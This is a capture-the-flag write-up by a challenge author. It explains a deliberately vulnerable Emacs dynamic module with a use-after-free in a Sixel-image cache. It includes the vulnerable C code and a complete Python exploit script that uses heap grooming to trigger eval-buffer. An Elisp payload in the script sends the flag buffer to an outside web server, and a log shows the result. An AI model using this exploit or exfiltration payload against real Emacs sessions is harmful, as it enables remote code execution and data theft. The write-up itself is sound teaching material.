home

ret2emacs

April 14, 2022 ❖ Tags: writeup, capture-the-flag, emacs, binary-exploitation, heap-feng-shui

It's that time of year again where I take some time to reflect on UMass CTF. This is going to be shorter than last year's. I put out eight challenges, and I'm only going to be writing about one of them. Code, documentation, and write-ups for the others are available here.

Use-After-Free in an Emacs Module

ret2emacs was among our three unsolved challenges, and it had a disappointingly low volume of discussion over the weekend. That hurt, since it's the challenge I was most proud of, but someone asked for solution details post-competition so I'm given a reason to acknowledge that I made it.

Background

Emacs might seem to be an unusual choice of target for a capture-the-flag challenge since it's "just" a text editor. However, there's a little-known package called Rudel which enables collaborative editing over the network. The premise for the challenge was that you'd connect to a Rudel server where there was a bot watching *scratch*,1 and you had to insert some text that would trigger remote-code execution.

I didn't hoard any 0days for this competition. The intended solution was to attack a vulnerable Emacs dynamic module that was loaded in the bot's Emacs session.

For the uninitiated, Emacs is extensible in a few ways. The primary mechanism for doing so is to use Emacs Lisp (Elisp), which is an interpreted2 scripting language. Emacs also has the capability to interoperate with native code in shared libraries, which we call "dynamic modules." Elisp can call into the code of dynamic modules and vice versa. It's similar to the FFI situation in most other scripting languages.

The following is the (admittedly quite bad) Elisp code running on the bot's end. This is not the vulnerable part, but the background may be helpful in understanding the challenge. 

(defvar sixplayground-overlays '())

(defun sixplayground-make-overlay (start end data-or-function)
  (let* ((overlay (make-overlay (car match) (cadr match)))
         (data (if (stringp data-or-function)
                   data-or-function
                 (funcall data-or-function))))
    (overlay-put overlay 'display (create-image data 'pbm t))
    (push overlay sixplayground-overlays)))

(defun sixplayground-parse ()
  (save-excursion
    (set-buffer (get-buffer "*scratch*"))
    (dolist (overlay sixplayground-overlays)
      (delete-overlay overlay))
    (setq sixplayground-overlays '())
    (dolist (match (matches-in-buffer "\x1bP0;0;0q.*?\x1b\\\\"))
      (sixplayground-make-overlay (car match) (cdr match)
                                  (sixel-decode-string (buffer-substring (car match) (cadr match)))))))

(defun matches-in-buffer (regexp &optional buffer)
  "return a list of matches of REGEXP in BUFFER or the current buffer if not given."
  (let ((matches))
    (save-match-data
      (save-excursion
        (with-current-buffer (or buffer (current-buffer))
          (save-restriction
            (widen)
            (goto-char 1)
            (while (search-forward-regexp regexp nil t 1)
              (push (list (match-beginning 0) (match-end 0)) matches)))))
      (reverse matches))))

(defun sixplayground-on-post-command (&rest args)
  (when (buffer-modified-p (get-buffer "*scratch*"))
    (sixplayground-parse)
    (set-buffer-modified-p nil)))

Here's a summary of what's going on: sixplayground-on-post-command is like a callback – it's called every time the buffer is edited. It's a wrapper around sixplayground-parse, which iterates over all substrings in the buffer that look like a series of Sixel commands and converts them to "overlays", which are images that can be displayed in the editor's text area. The part that actually converts these substrings to image data is sixel-decode-string.

ret2emacs-overlay-demo.png
Figure 1: Example of an overlay in Emacs.

The song and dance of FFI initialization is omitted for brevity, but sixel-decode-string is implemented as the following C function. It returns an Emacs string. 

struct hash {
        uint32_t h0, h1, h2, h3;
};

#define CACHESZ 8
static struct hash cache_identifiers[CACHESZ];
static struct emacs_value_tag *cache[CACHESZ];
static int inuse[CACHESZ];

emacs_value decode_sixel(emacs_env *ENV, ptrdiff_t
                         NARGS, emacs_value *ARGS, void *DATA)
{
        assert(NARGS == 1);

        int pwidth, pheight, ncolors;
        unsigned char *palette;
        unsigned char *pixels;

        unsigned char *buf;
        ptrdiff_t len;
        if (!ENV->copy_string_contents(ENV, ARGS[0], NULL, &len)) {
                panic(ENV, "Failed to retrieve string length.");
        }
        if ((buf = malloc(len)) == NULL) {
                panic(ENV, "Failed to allocate buffer.");
        }
        if (!ENV->copy_string_contents(ENV, ARGS[0], (char *) buf, &len)) {
                panic(ENV, "Failed to retrieve string.");
        }

        md5(buf, len);
        for (int i = 0; i < CACHESZ; i++) {
                if (cache_identifiers[i].h0 == h0 && cache_identifiers[i].h1 == h1 && cache_identifiers[i].h2 == h2 && cache_identifiers[i].h3 == h3) {
                        return cache[i];
                }
        }

        sixel_decode_raw(buf, len, &pixels, &pwidth, &pheight, &palette, &ncolors, allocator);

        ptrdiff_t output_len = 256 + 12 * (pwidth * pheight);
        char *output, *cur;
        if ((output = malloc(output_len)) == NULL) {
                panic(ENV, "Failed to allocate buffer.");
        }

        cur = output;
        cur += sprintf(cur, "P3\n%d %d\n255\n", pwidth, pheight);
        for (int i = 0; i < pheight * pwidth; i++) {
                cur += sprintf(cur, "%d %d %d\n",
                               *(palette + pixels[i] * 3 + 0),
                               *(palette + pixels[i] * 3 + 1),
                               *(palette + pixels[i] * 3 + 2));
        }

        emacs_value ret = ENV->make_string(ENV, (char *) output, strlen(output));

        int sentinel = 0;
        for (int i = 0; i < CACHESZ; i++) {
                if (!inuse[i]) {
                        sentinel = 1;
                        cache_identifiers[i].h0 = h0;
                        cache_identifiers[i].h1 = h1;
                        cache_identifiers[i].h2 = h2;
                        cache_identifiers[i].h3 = h3;
                        cache[i] = malloc(sizeof(struct emacs_value_tag));
                        cache[i]->v = *((void **)ret);
                        inuse[i] = 1;
                        break;
                }
        }
        if (!sentinel) {
                // Evict the whole cache, except for `i`.
                for (int i = 0; i < CACHESZ; i++) {
                        /* cache_identifiers[j].h0 = 0; */
                        /* cache_identifiers[j].h1 = 0; */
                        /* cache_identifiers[j].h2 = 0; */
                        /* cache_identifiers[j].h3 = 0; */
                        free(cache[i]);
                        inuse[i] = 0;
                }
                cache_identifiers[0].h0 = h0;
                cache_identifiers[0].h1 = h1;
                cache_identifiers[0].h2 = h2;
                cache_identifiers[0].h3 = h3;
                cache[0] = malloc(sizeof(struct emacs_value_tag));
                cache[0]->v = *((void **)ret);
                inuse[0] = 1;
        }

        free(buf);
        free(output);
        sixel_allocator_free(allocator, palette);
        return ret;

}

If your eyes glazed over reading that, we're doing a couple of things. First and foremost, we're taking the md5sum of the input (which, in this case, is a string of Sixel commands). If we haven't seen the hash before, then we feed the input into libsixel to get some bitmap data, and then convert that bitmap data into an Emacs string containing a netpbm image… mostly for convenience, since it's a format readily accepted by Emacs. We also copy that resulting string onto the heap so that we can save it in our cache.3 If we have seen the hash before, then we immediately return an Emacs object from the cache.

Vulnerability

The vulnerability is outlined by the comments: we clear neither the heap pointers in the cache nor the hashes. So, if the cache were evicted and you inserted a Sixel image that had been cached prior to the eviction, the function would return a stale pointer.

So, where do we go with this? Let's look at the signature for sixplayground-make-overlay: 

(defun sixplayground-make-overlay (start end data-or-function)
  ...

We pass the output of sixel-decode-string in as data-or-function. So if we can coerce sixel-decode-string into returning an Emacs function object, then that function will be called when the buffer is done being processed.

Fortunately, it's fairly easy to construct a "function" that works, because Elisp is quite lenient in what it considers a function. 

(functionp 'eval-buffer) ; => t

If we can coerce sixel-decode-string into returning the symbol naming a function, then that function will be executed.

Elisp objects are machine words where the type of the object is encoded in the least significant bits. The concept is similar to that of the tagged pointer, except that not all Emacs objects are pointers. Symbols, in particular, are just identified by non-descriptive integers whose three least significant bits are all 0. 

enum Lisp_Type
  {
    /* Symbol.  XSYMBOL (object) points to a struct Lisp_Symbol.  */
    Lisp_Symbol = 0,

    /* Type 1 is currently unused.  */

    /* Fixnum.  XFIXNUM (obj) is the integer value.  */
    Lisp_Int0 = 2,
    Lisp_Int1 = USE_LSB_TAG ? 6 : 3,

    /* String.  XSTRING (object) points to a struct Lisp_String.
       The length of the string, and its contents, are stored therein.  */
    Lisp_String = 4,

    /* Vector of Lisp objects, or something resembling it.
       XVECTOR (object) points to a struct Lisp_Vector, which contains
       the size and contents.  The size field also contains the type
       information, if it's not a real vector object.  */
    Lisp_Vectorlike = 5,

    /* Cons.  XCONS (object) points to a struct Lisp_Cons.  */
    Lisp_Cons = USE_LSB_TAG ? 3 : 6,

    /* Must be last entry in Lisp_Type enumeration.  */
    Lisp_Float = 7
  };

It isn't too difficult to find the in-memory representation of a symbol using the dynamic module interface. Doing so is left as an exercise to the reader, as it's been long enough that I've discarded a lot of my solution material. The symbol I went for was eval-buffer for reasons you will soon see.

The point about this being a non-descriptive integer rather than a pointer is an important one, though. This means that one need not concern herself with i.e., ASLR to carry out the exploit.

Once you have the in-memory representation of the symbol, you can encode it as a Sixel image using this Python function: 

import png
from subprocess import Popen, DEVNULL, PIPE, STDOUT

def data_to_sixel(data):
    w = png.Writer(4, 2, greyscale=False)
    p = Popen(["convert", "/dev/stdin", "-geometry", f"{len(data[0])}x{len(data)}", "sixel:-"], stdout=PIPE, stdin=PIPE, stderr=STDOUT)
    w.write(p.stdin, data)
    p.stdin.close()
    try:
        p.wait(5)
    except Exception:
        exit(1)
    return p.stdout.read()

Exploit

When this is decoded by the module, we know that there will be a heap chunk somewhere that contains the in-memory representation for our target symbol. Our goal is to do some heap feng shui such that a stale pointer in the cache points at this particular heap chunk. Then, we trigger a use-after-free, so that when sixel-decode-string is called, it will return this symbol object, thereby triggering the or-function path of sixplayground-make-overlay.

This brings us to the solution. Like much of the other code in this article, it is not pleasing to look at, but it gets the point across. 

from base64 import b64encode
from subprocess import Popen, DEVNULL, PIPE, STDOUT
import struct
import time
import os
import png
import random

EVAL_BUFFER=b"\x1bP0;0;0q\"1;1;4;2#0;2;0;0;0#1;2;0;0;0#2;2;1;1;1#3;2;1;1;1#4;2;2;2;2#5;2;2;2;2#6;2;2;2;2#7;2;3;3;3#8;2;3;3;3#9;2;4;4;4#10;2;4;4;4#11;2;4;4;4#12;2;5;5;5#13;2;5;5;5#14;2;5;5;5#15;2;6;6;6#16;2;6;6;6#17;2;7;7;7#18;2;7;7;7#19;2;7;7;7#20;2;8;8;8#21;2;8;8;8#22;2;9;9;9#23;2;9;9;9#24;2;9;9;9#25;2;10;10;10#26;2;10;10;10#27;2;11;11;11#28;2;11;11;11#29;2;11;11;11#30;2;12;12;12#31;2;12;12;12#32;2;13;13;13#33;2;13;13;13#34;2;13;13;13#35;2;14;14;14#36;2;14;14;14#37;2;15;15;15#38;2;15;15;15#39;2;15;15;15#40;2;16;16;16#41;2;16;16;16#42;2;16;16;16#43;2;17;17;17#44;2;17;17;17#45;2;18;18;18#46;2;18;18;18#47;2;18;18;18#48;2;19;19;19#49;2;19;19;19#50;2;20;20;20#51;2;20;20;20#52;2;20;20;20#53;2;21;21;21#54;2;21;21;21#55;2;22;22;22#56;2;22;22;22#57;2;22;22;22#58;2;23;23;23#59;2;23;23;23#60;2;24;24;24#61;2;24;24;24#62;2;24;24;24#63;2;25;25;25#64;2;25;25;25#65;2;25;25;25#66;2;26;26;26#67;2;26;26;26#68;2;27;27;27#69;2;27;27;27#70;2;27;27;27#71;2;28;28;28#72;2;28;28;28#73;2;29;29;29#74;2;29;29;29#75;2;29;29;29#76;2;30;30;30#77;2;30;30;30#78;2;31;31;31#79;2;31;31;31#80;2;31;31;31#81;2;32;32;32#82;2;32;32;32#83;2;33;33;33#84;2;33;33;33#85;2;33;33;33#86;2;34;34;34#87;2;34;34;34#88;2;35;35;35#89;2;35;35;35#90;2;35;35;35#91;2;36;36;36#92;2;36;36;36#93;2;36;36;36#94;2;37;37;37#95;2;37;37;37#96;2;38;38;38#97;2;38;38;38#98;2;38;38;38#99;2;39;39;39#100;2;39;39;39#101;2;40;40;40#102;2;40;40;40#103;2;40;40;40#104;2;41;41;41#105;2;41;41;41#106;2;42;42;42#107;2;42;42;42#108;2;42;42;42#109;2;43;43;43#110;2;43;43;43#111;2;44;44;44#112;2;44;44;44#113;2;44;44;44#114;2;45;45;45#115;2;45;45;45#116;2;45;45;45#117;2;46;46;46#118;2;46;46;46#119;2;47;47;47#120;2;47;47;47#121;2;47;47;47#122;2;48;48;48#123;2;48;48;48#124;2;49;49;49#125;2;49;49;49#126;2;49;49;49#127;2;50;50;50#128;2;50;50;50#129;2;51;51;51#130;2;51;51;51#131;2;51;51;51#132;2;52;52;52#133;2;52;52;52#134;2;53;53;53#135;2;53;53;53#136;2;53;53;53#137;2;54;54;54#138;2;54;54;54#139;2;55;55;55#140;2;55;55;55#141;2;55;55;55#142;2;56;56;56#143;2;56;56;56#144;2;56;56;56#145;2;57;57;57#146;2;57;57;57#147;2;58;58;58#148;2;58;58;58#149;2;58;58;58#150;2;59;59;59#151;2;59;59;59#152;2;60;60;60#153;2;60;60;60#154;2;60;60;60#155;2;61;61;61#156;2;61;61;61#157;2;62;62;62#158;2;62;62;62#159;2;62;62;62#160;2;63;63;63#161;2;63;63;63#162;2;64;64;64#163;2;64;64;64#164;2;64;64;64#165;2;65;65;65#166;2;65;65;65#167;2;65;65;65#168;2;66;66;66#169;2;66;66;66#170;2;67;67;67#171;2;67;67;67#172;2;67;67;67#173;2;68;68;68#174;2;68;68;68#175;2;69;69;69#176;2;69;69;69#177;2;69;69;69#178;2;70;70;70#179;2;70;70;70#180;2;71;71;71#181;2;71;71;71#182;2;71;71;71#183;2;72;72;72#184;2;72;72;72#185;2;73;73;73#186;2;73;73;73#187;2;73;73;73#188;2;74;74;74#189;2;74;74;74#190;2;75;75;75#191;2;75;75;75#192;2;75;75;75#193;2;76;76;76#194;2;76;76;76#195;2;76;76;76#196;2;77;77;77#197;2;77;77;77#198;2;78;78;78#199;2;78;78;78#200;2;78;78;78#201;2;79;79;79#202;2;79;79;79#203;2;80;80;80#204;2;80;80;80#205;2;80;80;80#206;2;81;81;81#207;2;81;81;81#208;2;82;82;82#209;2;82;82;82#210;2;82;82;82#211;2;83;83;83#212;2;83;83;83#213;2;84;84;84#214;2;84;84;84#215;2;84;84;84#216;2;85;85;85#217;2;85;85;85#218;2;85;85;85#219;2;86;86;86#220;2;86;86;86#221;2;87;87;87#222;2;87;87;87#223;2;87;87;87#224;2;88;88;88#225;2;88;88;88#226;2;89;89;89#227;2;89;89;89#228;2;89;89;89#229;2;90;90;90#230;2;90;90;90#231;2;91;91;91#232;2;91;91;91#233;2;91;91;91#234;2;92;92;92#235;2;92;92;92#236;2;93;93;93#237;2;93;93;93#238;2;93;93;93#239;2;94;94;94#240;2;94;94;94#241;2;95;95;95#242;2;95;95;95#243;2;95;95;95#244;2;96;96;96#245;2;96;96;96#246;2;96;96;96#247;2;97;97;97#248;2;97;97;97#249;2;98;98;98#250;2;98;98;98#251;2;98;98;98#252;2;99;99;99#253;2;99;99;99#254;2;100;100;100#255;2;100;100;100#0AAAB$#128@#193@#6@-\x1b\\"
PAYLOAD=b"""
(save-excursion
 (set-buffer (get-buffer "*flag*"))
 (url-retrieve-synchronously (format "http://jakob.space/%s" (buffer-string)))
 (buffer-string))
"""

def data_to_sixel(data):
    w = png.Writer(4, 2, greyscale=False)
    p = Popen(["convert", "/dev/stdin", "-geometry", f"{len(data[0])}x{len(data)}", "sixel:-"], stdout=PIPE, stdin=PIPE, stderr=STDOUT)
    w.write(p.stdin, data)
    p.stdin.close()
    try:
        p.wait(5)
    except Exception:
        exit(1)
    return p.stdout.read()


def random4x2():
    return data_to_sixel(
        [tuple([random.randrange(0, 100) for _ in range(3 * 4)]),
         tuple([random.randrange(0, 100) for _ in range(3 * 4)])]
    )


def emacs_exec(cmd):
    p = Popen(["emacsclient", "--eval", cmd], stdout=PIPE, stdin=DEVNULL, stderr=STDOUT)
    try:
        p.wait(30)
    except Exception:
        exit(1)
    return p.stdout.read()


def submit(data):
    b64encode(PAYLOAD + b"\n" + data)
    emacs_exec("""
    (progn
      (set-buffer (get-buffer "*scratch*"))
      (delete-region 1 (buffer-size))
      (insert (base64-decode-string \"{}\")))
    """.format(b64encode(PAYLOAD + b"\n" + data).decode()))
    resp = emacs_exec("(progn (set-buffer (get-buffer \"*scratch*\")) (buffer-string))")
    if b"FLAG" in resp:
        print(resp)

daemon = Popen(["emacs", "--fg-daemon"], stdout=PIPE, stdin=DEVNULL, stderr=STDOUT)
time.sleep(3)

# 0. Connect to the remote.
emacs_exec("(rudel-join-session `(:transport-backend ,(rudel-backend-choose 'transport (lambda (backend) (rudel-capable-of-p backend 'listen))) :protocol-backend ,(rudel-backend-choose 'protocol (lambda (backend) (rudel-capable-of-p backend 'host))) :color \"Blue\" :username \"attacker\" :global-password \"\" :user-password \"\" :host \"34.136.139.6\" :port 6522 :encryption nil))")
if b"nil\n" == emacs_exec("(rudel-unsubscribed-documents rudel-current-session)"):
    print("[a] Failed to connect...")
    daemon.kill()
    exit(1)
litmus = emacs_exec("""
(dolist (document (rudel-unsubscribed-documents rudel-current-session))
  (rudel-attach-to-buffer document (get-buffer "*scratch*"))
  (let ((connection (oref (oref document session) connection)))
    (rudel-subscribe-to connection document)))
""")
if b"ERROR" in litmus:
    print("[b] Failed to connect...")
    daemon.kill()
    exit(1)

original_cache = []

dump = PAYLOAD

# 1. Populate the cache.
for _ in range(8):
    dat = random4x2()
    original_cache.append(dat)
    dump += dat

# 2. Evict the cache.
dump += random4x2()

# 3. _Some_ allocation between now and fully populating the cache will overlap
# with the Emacs struct array. We don't necessarily know when, so pick random n.

# n = random.randrange(0, 8)
n = 0
# for i in range(n):
#     dat = random4x2()
#     original_cache[i] = dat
#     dump += dat

# 4. Submit the magic payload.
dump += EVAL_BUFFER

# 5. Overlap should be some random entry afterward...
k = 5
# k = random.randrange(n + 2, 8)
# dump += original_cache[k]

submit(dump)
submit(original_cache[k])

emacs_exec("(rudel-disconnect rudel-current-session)")
print(f"n = {n}, k = {k}")
daemon.kill()

I began by randomly choosing n and k. Trial and error led me to find that n = 0, k = 5 was the most reliable choice of the two, so they are hard-coded. There is still some nondeterminism involved in the exploit, so you will have to run the exploit script several times before it is fruitful.

Besides the heap feng shui and use-after-free described above, we are inserting some Elisp code to be executed by eval-buffer when we are successful. In particular: 

(save-excursion
  (set-buffer (get-buffer "*flag*"))
  (url-retrieve-synchronously (format "http://jakob.space/%s" (buffer-string)))
  (buffer-string))

So after setting up a Bash script to run my exploit in a loop, all I needed to do was log into my home server, tail -f the logs, and crack open a beer. 

jakob@[REDACTED] /var/log $ gunzip < [REDACTED] | grep UMASS
www.jakob.space:80 [REDACTED] - - [31/Mar/2022:20:33:08 -0400] "GET /UMASS%7Bn0T_4_DUnk_0n_3M4c2_By_4nY_M34n2.._n3Xt_Y34r_will_b3_n30V1M%7D HTTP/1.1" 301 706 "-" "URL/Emacs Emacs/27.2.50 (X11; x86_64-pc-linux-gnu)"

On the CTF as a Whole

I don't have too much to say. I think the competition went well. Thanks to all who played.

Despite all the burnout I was experiencing in the months leading up to the competition, the comments on the weight voting made it worth it for me, especially hearing that folks liked the dumb game I spent months working on.

I'm going off elsewhere for grad school now, but I'll continue to volunteer my time with the UMass Cybersecurity Club for the foreseeable future. I helped to sow the seeds, and now I have an opportunity to see things bloom.

—

Footnotes:

1

In Emacs, the principal data structure for storing editable text is the buffer. Each buffer has a unique name, and a buffer can either be tied to a file, or just be some ephemeral thing that only lasts as long as the Emacs session. *scratch* is a buffer that's open by default in Emacs, and it's of the latter "ephemeral" kind. The choice of buffer for the challenge was somewhat arbitrary. I went with *scratch* because it's known to nearly every Emacs user.

2

Or JIT, if you're using the latest and greatest.

3

This is where the challenge falls off the rails a bit in terms of realism. There's absolutely no reason to do this, and I posit it's unsafe to hold onto references in the C code at all since Emacs is a garbage-collected language. But I digress. Challenge design is an endless balancing act between "realistic" and "can be reasonably be solved in a weekend."

Comments for this page

    Click here to write a comment on this post.